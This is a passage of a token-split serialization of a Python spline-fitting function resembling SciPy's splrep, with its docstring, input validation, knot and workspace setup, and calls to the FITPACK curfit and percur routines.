", "give", "n", " ", "by", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "vector", " ", "d", ",", " ", "then", " ", "w", " ", "shou", "ld", " ", "be", " ", "1", "/", "d", ".", " ", "Default", " ", "is", " ", "ones", "(", "len", "(", "x", "))", ".", "\\", "10", ";", " ", " ", " ", " ", "xb", ",", " ", "xe", " ", ":", " ", "float", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "interval", " ", "to", " ", "fit", ".", " ", " ", "If", " ", "Non", "e", ",", " ", "these", " ", "default", " ", "to", " ", "x", "[", "0", "]", " ", "and", " ", "x", "[-", "1", "]", "\\", "10", ";", " ", " ", " ", " ", "respec", "tiv", "el", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "k", " ", ":", " ", "int", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "degr", "ee", " ", "of", " ", "the", " ", "spline", " ", "fit", ".", " ", "It", " ", "is", " ", "recommende", "d", " ", "to", " ", "use", " ", "cubi", "c", " ", "spline", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Even", " ", "values", " ", "of", " ", "k", " ", "shou", "ld", " ", "be", " ", "avoid", "ed", " ", "especial", "ly", " ", "with", " ", "small", " ", "s", " ", "values", ".", "\\", "10", ";", " ", " ", " ", " ", "1", " ", "<=", " ", "k", " ", "<=", " ", "5", "\\", "10", ";", " ", " ", " ", " ", "task", " ", ":", " ", "{", "1", ",", " ", "0", ",", " ", "-1", "},", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "task", "==", "0", " ", "find", " ", "t", " ", "and", " ", "c", " ", "for", " ", "a", " ", "give", "n", " ", "smoothing", " ", "factor", ",", " ", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "task", "==", "1", " ", "find", " ", "t", " ", "and", " ", "c", " ", "for", " ", "anot", "her", " ", "value", " ", "of", " ", "the", " ", "smoothing", " ", "factor", ",", " ", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "There", " ", "must", " ", "have", " ", "bee", "n", " ", "a", " ", "previ", "ous", " ", "call", " ", "with", " ", "task", "=", "0", " ", "or", " ", "task", "=", "1", " ", "for", " ", "the", " ", "same", "\\", "10", ";", " ", " ", " ", " ", "set", " ", "of", " ", "data", " ", "(", "t", " ", "will", " ", "be", " ", "store", "d", " ", "an", " ", "used", " ", "internal", "ly", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "task", "=-", "1", " ", "find", " ", "the", " ", "weight", "ed", " ", "leas", "t", " ", "square", " ", "spline", " ", "for", " ", "a", " ", "give", "n", " ", "set", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "knots", ",", " ", "t", ".", " ", "The", "se", " ", "shou", "ld", " ", "be", " ", "interior", " ", "knots", " ", "as", " ", "knots", " ", "on", " ", "the", " ", "ends", " ", "will", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "adde", "d", " ", "automati", "call", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "s", " ", ":", " ", "float", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "smoothing", " ", "condition", ".", " ", "The", " ", "amo", "unt", " ", "of", " ", "smooth", "ness", " ", "is", " ", "dete", "rmin", "ed", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "satisfy", "ing", " ", "the", " ", "condition", "s", ":", " ", "sum", "((", "w", " ", "*", " ", "(", "y", " ", "-", " ", "g", "))", "**", "2", ",", "axis", "=", "0", ")", " ", "<=", " ", "s", " ", "where", " ", "g", "(", "x", ")", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "the", " ", "smoothed", " ", "interpolati", "on", " ", "of", " ", "(", "x", ",", "y", ").", " ", "The", " ", "user", " ", "can", " ", "use", " ", "s", " ", "to", " ", "control", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "trade", "off", " ", "bet", "ween", " ", "close", "ness", " ", "and", " ", "smooth", "ness", " ", "of", " ", "fit", ".", " ", "Large", "r", " ", "s", " ", "means", "\\", "10", ";", " ", " ", " ", " ", "more", " ", "smoothing", " ", "whi", "le", " ", "small", "er", " ", "values", " ", "of", " ", "s", " ", "indicat", "e", " ", "less", " ", "smoothing", ".", "\\", "10", ";", " ", " ", " ", " ", "Recommend", "ed", " ", "values", " ", "of", " ", "s", " ", "depend", " ", "on", " ", "the", " ", "weight", "s", ",", " ", "w", ".", " ", "If", " ", "the", " ", "weight", "s", "\\", "10", ";", " ", " ", " ", " ", "represent", " ", "the", " ", "inv", "erse", " ", "of", " ", "the", " ", "standard", "-", "deviation", " ", "of", " ", "y", ",", " ", "then", " ", "a", " ", "good", " ", "s", "\\", "10", ";", " ", " ", " ", " ", "value", " ", "shou", "ld", " ", "be", " ", "found", " ", "in", " ", "the", " ", "range", " ", "(", "m", "-", "sqrt", "(", "2", "*", "m", "),", "m", "+", "sqrt", "(", "2", "*", "m", "))", " ", "where", " ", "m", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "number", " ", "of", " ", "datapoints", " ", "in", " ", "x", ",", " ", "y", ",", " ", "and", " ", "w", ".", " ", "default", " ", ":", " ", "s", "=", "m", "-", "sqrt", "(", "2", "*", "m", ")", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "weight", "s", " ", "are", " ", "supplie", "d", ".", " ", "s", " ", "=", " ", "0.", "0", " ", "(", "interpolati", "ng", ")", " ", "if", " ", "no", " ", "weight", "s", " ", "are", "\\", "10", ";", " ", " ", " ", " ", "supplie", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "t", " ", ":", " ", "array", "\\u", "like", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "knots", " ", "need", "ed", " ", "for", " ", "task", "=-", "1", ".", " ", "If", " ", "give", "n", " ", "then", " ", "task", " ", "is", " ", "automati", "call", "y", " ", "set", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "-1", ".", "\\", "10", ";", " ", " ", " ", " ", "full", "\\u", "output", " ", ":", " ", "bool", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "non", "-", "zero", ",", " ", "then", " ", "return", " ", "option", "al", " ", "output", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "per", " ", ":", " ", "bool", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "non", "-", "zero", ",", " ", "data", " ", "points", " ", "are", " ", "consider", "ed", " ", "periodic", " ", "with", " ", "period", " ", "x", "[", "m", "-1", "]", " ", "-", "\\", "10", ";", " ", " ", " ", " ", "x", "[", "0", "]", " ", "and", " ", "a", " ", "smooth", " ", "periodic", " ", "spline", " ", "approx", "imat", "ion", " ", "is", " ", "return", "ed", ".", " ", "Value", "s", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "y", "[", "m", "-1", "]", " ", "and", " ", "w", "[", "m", "-1", "]", " ", "are", " ", "not", " ", "used", ".", "\\", "10", ";", " ", " ", " ", " ", "quie", "t", " ", ":", " ", "bool", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "Non", "-", "zero", " ", "to", " ", "suppress", " ", "message", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "parameter", " ", "is", " ", "depre", "cated", ";", " ", "use", " ", "standard", " ", "Pyth", "on", " ", "warn", "ing", " ", "filter", "s", "\\", "10", ";", " ", " ", " ", " ", "inst", "ead", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", "\\", "10", ";", " ", " ", " ", " ", "-------", "\\", "10", ";", " ", " ", " ", " ", "tc", "k", " ", ":", " ", "tuple", "\\", "10", ";", " ", " ", " ", " ", "(", "t", ",", "c", ",", "k", ")", " ", "a", " ", "tuple", " ", "contain", "ing", " ", "the", " ", "vector", " ", "of", " ", "knots", ",", " ", "the", " ", "B", "-", "spline", "\\", "10", ";", " ", " ", " ", " ", "coefficient", "s", ",", " ", "and", " ", "the", " ", "degr", "ee", " ", "of", " ", "the", " ", "spline", ".", "\\", "10", ";", " ", " ", " ", " ", "fp", " ", ":", " ", "array", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "weight", "ed", " ", "sum", " ", "of", " ", "square", "d", " ", "residu", "als", " ", "of", " ", "the", " ", "spline", " ", "approx", "imat", "ion", ".", "\\", "10", ";", " ", " ", " ", " ", "ier", " ", ":", " ", "int", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "integ", "er", " ", "flag", " ", "abo", "ut", " ", "spl", "rep", " ", "success", ".", " ", "Success", " ", "is", " ", "indicat", "ed", " ", "if", " ", "ier", "<=", "0.", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "ier", " ", "in", " ", "[", "1", ",", "2", ",", "3", "]", " ", "an", " ", "error", " ", "occur", "red", " ", "but", " ", "was", " ", "not", " ", "raise", "d", ".", " ", "Ot", "her", "wis", "e", " ", "an", "\\", "10", ";", " ", " ", " ", " ", "error", " ", "is", " ", "raise", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "msg", " ", ":", " ", "str", ",", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "message", " ", "correspond", "ing", " ", "to", " ", "the", " ", "integ", "er", " ", "flag", ",", " ", "ier", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "es", "\\", "10", ";", " ", " ", " ", " ", "-----", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "spl", "ev", " ", "for", " ", "evaluat", "ion", " ", "of", " ", "the", " ", "spline", " ", "and", " ", "its", " ", "derivatives", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "user", " ", "is", " ", "responsib", "le", " ", "for", " ", "ass", "uri", "ng", " ", "tha", "t", " ", "the", " ", "values", " ", "of", " ", "*", "x", "*", " ", "are", " ", "unique", ".", "\\", "10", ";", " ", " ", " ", " ", "Ot", "her", "wis", "e", ",", " ", "*", "spl", "rep", "*", " ", "will", " ", "not", " ", "return", " ", "sensi", "ble", " ", "results", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Al", "so", "\\", "10", ";", " ", " ", " ", " ", "--------", "\\", "10", ";", " ", " ", " ", " ", "Uni", "varia", "te", "Spline", ",", " ", "Bi", "varia", "te", "Spline", "\\", "10", ";", " ", " ", " ", " ", "spl", "prep", ",", " ", "spl", "ev", ",", " ", "spro", "ot", ",", " ", "spa", "lde", ",", " ", "spl", "int", "\\", "10", ";", " ", " ", " ", " ", "bis", "pl", "rep", ",", " ", "bis", "ple", "v", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "es", "\\", "10", ";", " ", " ", " ", " ", "-----", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "spl", "ev", " ", "for", " ", "evaluat", "ion", " ", "of", " ", "the", " ", "spline", " ", "and", " ", "its", " ", "derivatives", ".", " ", "Us", "es", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "FORT", "RAN", " ", "routin", "e", " ", "cur", "fit", " ", "from", " ", "FIT", "PACK", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "provided", ",", " ", "knots", " ", "`", "t", "`", " ", "must", " ", "satisfy", " ", "the", " ", "Scho", "enb", "erg", "-", "Whi", "tne", "y", " ", "condition", "s", ",", "\\", "10", ";", " ", " ", " ", " ", "i", ".", "e", ".,", " ", "there", " ", "must", " ", "be", " ", "a", " ", "subse", "t", " ", "of", " ", "data", " ", "points", " ", "``", "x", "[", "j", "]``", " ", "suc", "h", " ", "tha", "t", "\\", "10", ";", " ", " ", " ", " ", "``", "t", "[", "j", "]", " ", "<", " ", "x", "[", "j", "]", " ", "<", " ", "t", "[", "j", "+", "k", "+", "1", "]``", ",", " ", "for", " ", "``", "j", "=", "0", ",", " ", "1", ",...", ",", "n", "-", "k", "-", "2", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Reference", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "Base", "d", " ", "on", " ", "algo", "rit", "hms", " ", "descri", "bed", " ", "in", " ", "[", "1", "]\\u", ",", " ", "[", "2", "]\\u", ",", " ", "[", "3", "]\\u", ",", " ", "and", " ", "[", "4", "]\\u", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "[", "1", "]", " ", "P", ".", " ", "Die", "rc", "kx", ",", " ", "\"", "An", " ", "algo", "rit", "hm", " ", "for", " ", "smoothing", ",", " ", "different", "iation", " ", "and", "\\", "10", ";", " ", " ", " ", "integrati", "on", " ", "of", " ", "experimental", " ", "data", " ", "usi", "ng", " ", "spline", " ", "function", "s", "\",", "\\", "10", ";", " ", " ", " ", "J", ".", "Comp", ".", "Appl", ".", "Math", "s", " ", "1", " ", "(", "197", "5", ")", " ", "165", "-1", "84", ".", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "[", "2", "]", " ", "P", ".", " ", "Die", "rc", "kx", ",", " ", "\"", "A", " ", "fast", " ", "algo", "rit", "hm", " ", "for", " ", "smoothing", " ", "data", " ", "on", " ", "a", " ", "rectangular", "\\", "10", ";", " ", " ", " ", "grid", " ", "whi", "le", " ", "usi", "ng", " ", "spline", " ", "function", "s", "\",", " ", "SI", "AM", " ", "J", ".", "Numer", ".", "Ana", "l", ".", " ", "1", "9", " ", "(", "198", "2", ")", "\\", "10", ";", " ", " ", " ", "128", "6", "-1", "304", ".", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "[", "3", "]", " ", "P", ".", " ", "Die", "rc", "kx", ",", " ", "\"", "An", " ", "improve", "d", " ", "algo", "rit", "hm", " ", "for", " ", "curve", " ", "fitting", " ", "with", " ", "spline", "\\", "10", ";", " ", " ", " ", "function", "s", "\",", " ", "report", " ", "tw", "5", "4", ",", " ", "Dep", "t", ".", " ", "Compute", "r", " ", "Sci", "ence", ",", "K", ".", "U", ".", " ", "Le", "uve", "n", ",", " ", "198", "1", ".", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "[", "4", "]", " ", "P", ".", " ", "Die", "rc", "kx", ",", " ", "\"", "Curve", " ", "and", " ", "surf", "ace", " ", "fitting", " ", "with", " ", "spline", "s", "\",", " ", "Mono", "graph", "s", " ", "on", "\\", "10", ";", " ", " ", " ", "Numerical", " ", "Analy", "sis", ",", " ", "Ox", "for", "d", " ", "Univers", "it", "y", " ", "Press", ",", " ", "1993", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "--------", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "import", " ", "mat", "plotlib", ".", "pypl", "ot", " ", "as", " ", "plt", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "sci", "py", ".", "interpolat", "e", " ", "import", " ", "spl", "ev", ",", " ", "spl", "rep", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "x", " ", "=", " ", "np", ".", "lins", "pace", "(", "0", ",", " ", "10", ",", " ", "10", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "y", " ", "=", " ", "np", ".", "sin", "(", "x", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "tc", "k", " ", "=", " ", "spl", "rep", "(", "x", ",", " ", "y", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "x2", " ", "=", " ", "np", ".", "lins", "pace", "(", "0", ",", " ", "10", ",", " ", "200", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "y2", " ", "=", " ", "spl", "ev", "(", "x2", ",", " ", "tc", "k", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "plt", ".", "plot", "(", "x", ",", " ", "y", ",", " ", "'", "o", "',", " ", "x2", ",", " ", "y2", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "plt", ".", "show", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "task_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "cur", "fit", "\\u", "cache_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x_", ",_", "y_", "=_", "map_", "(_", "atl", "east", "\\u", "1d_", ",_", "[_", "x_", ",_", "y_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "len_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "w_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "w_", "=_", "ones_", "(_", "m_", ",_", "float_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "s_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "w_", "=_", "atl", "east", "\\u", "1d_", "(_", "w_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "s_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "m_", "-_", "sqrt_", "(_", "2_", "*_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "len_", "(_", "w_", ")_", "==_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "len", "(", "w", ")=", "%", "d", " ", "is", " ", "not", " ", "equal", " ", "to", " ", "m", "=", "%", "d", "'_", "%_", "(_", "len_", "(_", "w_", ")_", ",_", "m_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "m_", "!=_", "len_", "(_", "y_", ")_", ")_", "or_", "(_", "m_", "!=_", "len_", "(_", "w_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "Length", "s", " ", "of", " ", "the", " ", "first", " ", "three", " ", "argu", "ment", "s", " ", "(", "x", ",", "y", ",", "w", ")", " ", "must", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "be", " ", "equal", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "(_", "1_", "<=_", "k_", "<=_", "5_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "Give", "n", " ", "degr", "ee", " ", "of", " ", "the", " ", "spline", " ", "(", "k", "=", "%", "d", ")", " ", "is", " ", "not", " ", "support", "ed", ".", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'(", "1", "<=", "k", "<=", "5", ")'_", "%_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "m_", "<=_", "k_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "m", " ", ">", " ", "k", " ", "must", " ", "hold", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "xb_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "xb_", "=_", "x_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "xe_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "xe_", "=_", "x_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "(_", "-_", "1_", "<=_", "task_", "<=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "task", " ", "must", " ", "be", " ", "-1", ",", " ", "0", " ", "or", " ", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "t_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "task_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "task_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "t_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "Kno", "ts", " ", "must", " ", "be", " ", "give", "n", " ", "for", " ", "task", "=-", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num", "knots", "_", "=_", "len_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "cur", "fit", "\\u", "cache_", "[_", "'", "t", "'_", "]_", "=_", "empty_", "(_", "(_", "num", "knots", "_", "+_", "2_", "*_", "k_", "+_", "2_", ",_", ")_", ",_", "float_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "cur", "fit", "\\u", "cache_", "[_", "'", "t", "'_", "]_", "[_", "k_", "+_", "1_", ":_", "-_", "k_", "-_", "1_", "]_", "=_", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nest_", "=_", "len_", "(_", "\\u", "cur", "fit", "\\u", "cache_", "[_", "'", "t", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "task_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "per_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nest_", "=_", "max_", "(_", "m_", "+_", "2_", "*_", "k_", ",_", "2_", "*_", "k_", "+_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nest_", "=_", "max_", "(_", "m_", "+_", "k_", "+_", "1_", ",_", "2_", "*_", "k_", "+_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "t_", "=_", "empty_", "(_", "(_", "nest_", ",_", ")_", ",_", "float_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "cur", "fit", "\\u", "cache_", "[_", "'", "t", "'_", "]_", "=_", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "task_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "per_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "cur", "fit", "\\u", "cache_", "[_", "'", "wr", "k", "'_", "]_", "=_", "empty_", "(_", "(_", "m_", "*_", "(_", "k_", "+_", "1_", ")_", "+_", "nest_", "*_", "(_", "8_", "+_", "5_", "*_", "k_", ")_", ",_", ")_", ",_", "float_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "cur", "fit", "\\u", "cache_", "[_", "'", "wr", "k", "'_", "]_", "=_", "empty_", "(_", "(_", "m_", "*_", "(_", "k_", "+_", "1_", ")_", "+_", "nest_", "*_", "(_", "7_", "+_", "3_", "*_", "k_", ")_", ",_", ")_", ",_", "float_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "cur", "fit", "\\u", "cache_", "[_", "'", "iw", "rk", "'_", "]_", "=_", "empty_", "(_", "(_", "nest_", ",_", ")_", ",_", "int", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "=_", "\\u", "cur", "fit", "\\u", "cache_", "[_", "'", "t", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wr", "k_", "=_", "\\u", "cur", "fit", "\\u", "cache_", "[_", "'", "wr", "k", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iw", "rk_", "=_", "\\u", "cur", "fit", "\\u", "cache_", "[_", "'", "iw", "rk", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "must", " ", "call", " ", "with", " ", "task", "=", "1", " ", "only", " ", "after", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "call", " ", "with", " ", "task", "=", "0", ",-", "1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "per_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", ",_", "c_", ",_", "fp_", ",_", "ier_", "=_", "dfi", "tpa", "ck_", "._", "cur", "fit_", "(_", "task_", ",_", "x_", ",_", "y_", ",_", "w_", ",_", "t_", ",_", "wr", "k_", ",_", "iw", "rk_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xb_", ",_", "xe_", ",_", "k_", ",_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", ",_", "c_", ",_", "fp_", ",_", "ier_", "=_", "dfi", "tpa", "ck_", "._", "perc", "ur_", "(_", "task_", ",_", "x_", ",_", "y_", ",_", "w_", ",_", "t_", ",_", "wr", "k_", ",_", "iw", "rk_", ",_", "k_", ",_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tc", "k_", "=_", "(_", "t_", "[_", ":_", "n_", "]_", ",_", "c_", "[_", ":_", "n_", "]_", ",_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ier_", "<=_", "0_", "and_", "not_", "quiet_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "mess_", "=_", "(_", "\\u", "ier", "mess_", "[_", "ier_", "]_", "[_", "0_", "]_", "+_", "\"\\\\", "tk", "=", "%", "d", " ", "n", "=", "%", "d", " ", "m", "=", "%", "d", " ", "fp", "=", "%", "f", " ", "s", "=", "%", "f", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "k_", ",_", "len_", "(_", "t_", ")_", ",_", "m_", ",_", "fp_", ",_", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "warnings_", "._", "warn_", "(_", "Run", "time", "Warning_", "(_", "\\u", "mess_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ier_", ">_", "0_", "and_", "not_", "full", "\\u", "output_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ier_", "in_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "warnings_", "._", "warn_", "(_", "Run", "time", "Warning_", "(_", "\\u", "ier", "mess_", "[_", "ier_", "]_", "[_", "0_", "]_", ")_", ")_", 